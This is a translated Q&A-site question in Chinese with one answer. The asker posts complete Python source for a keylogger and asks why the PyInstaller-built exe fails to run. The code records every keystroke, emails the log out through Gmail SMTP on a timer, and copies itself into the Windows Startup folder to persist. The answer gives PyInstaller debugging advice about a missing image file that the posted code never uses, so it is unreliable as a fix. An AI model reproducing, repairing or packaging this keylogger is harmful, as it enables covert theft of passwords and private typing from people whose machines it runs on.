Python exe脚本无法运行

时间:2020-06-03 10:47:42

标签: python python-3.x windows permissions keylogger

我正在创建一个脚本,该脚本使用python记录键盘敲击,然后将记录的敲击发送到我的电子邮件中。一切正常,我收到所有信息到我的电子邮件中。该脚本包含一个代码,该代码将.py脚本复制到启动状态,以便在PC启动时启动。一切正常。现在,我将其转换为exe并按它,它给出了此错误:

Failed to excute script test

这是代码:

import keyboard # for keylogs
import smtplib # for sending email using SMTP protocol (gmail)
import getpass
import os
import shutil
# Semaphore is for blocking the current thread
# Timer is to make a method runs after an `interval` amount of time
from threading import Semaphore, Timer

SEND_REPORT_EVERY = 30 # 10 minutes
EMAIL_ADDRESS = "email"
EMAIL_PASSWORD = "pass"
USER_NAME = getpass.getuser()

class Keylogger:
    def __init__(self, interval):
        # we gonna pass SEND_REPORT_EVERY to interval
        self.interval = interval
        # this is the string variable that contains the log of all 
        # the keystrokes within `self.interval`
        self.log = ""
        # for blocking after setting the on_release listener
        self.semaphore = Semaphore(0)

    def callback(self, event):
        """
        This callback is invoked whenever a keyboard event is occured
        (i.e when a key is released in this example)
        """
        name = event.name
        if len(name) > 1:
            # not a character, special key (e.g ctrl, alt, etc.)
            # uppercase with []
            if name == "space":
                # " " instead of "space"
                name = " "
            elif name == "enter":
                # add a new line whenever an ENTER is pressed
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                # replace spaces with underscores
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"

        self.log += name

    def sendmail(self, email, password, message):
        # manages a connection to an SMTP server
        server = smtplib.SMTP(host="smtp.gmail.com", port=587)
        # connect to the SMTP server as TLS mode ( for security )
        server.starttls()
        # login to the email account
        server.login(email, password)
        # send the actual message
        server.sendmail(email, email, message)
        # terminates the session
        server.quit()

    def report(self):
        """
        This function gets called every `self.interval`
        It basically sends keylogs and resets `self.log` variable
        """
        if self.log:
            # if there is something in log, report it
            self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            # can print to a file, whatever you want
            # print(self.log)
        self.log = ""
        Timer(interval=self.interval, function=self.report).start()



    def copyfile(self):
        file_path = os.path.dirname(os.path.abspath(__file__))
        filename=os.path.basename(os.path.abspath(__file__))
        original = str(file_path)+str('\\')+str(filename) 
        print(original)
        target = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.exe' % USER_NAME
        shutil.copyfile(original, target)
    def start(self):
        # start the keylogger
        keyboard.on_release(callback=self.callback)
        # start reporting the keylogs
        self.report()
        # block the current thread,
        # since on_release() doesn't block the current thread
        # if we don't block it, when we execute the program, nothing will happen
        # that is because on_release() will start the listener in a separate thread
        self.semaphore.acquire()

if __name__ == "__main__":
    keylogger = Keylogger(interval=SEND_REPORT_EVERY)
    #keylogger.add_to_startup()
    keylogger.copyfile()
    keylogger.start()

那么您认为问题是什么?普通脚本中的所有内容都可以正常运行。这是蠕虫错误吗?

1 个答案:

答案 0 :(得分:1)

所以,我所做的是在 pyinstaller 命令中添加了一个额外的参数 --debug 并删除了 --windowed 参数,以便我可以看到单击应用程序时实际发生的情况,但我发现有错误当我追踪它时,这很有意义,它基本上抱怨“some_image.jpg”没有这样的文件或目录。

当我从一开始运行脚本甚至使用命令行“./”时它会抱怨并且没有抱怨的原因是因为文件图像与脚本所在的路径相同,但是当pyinstaller创建时包含应用程序产品的“dist”目录完全可以理解图像文件不存在,因此我基本上将其移动到可点击应用程序所在的 dist 目录!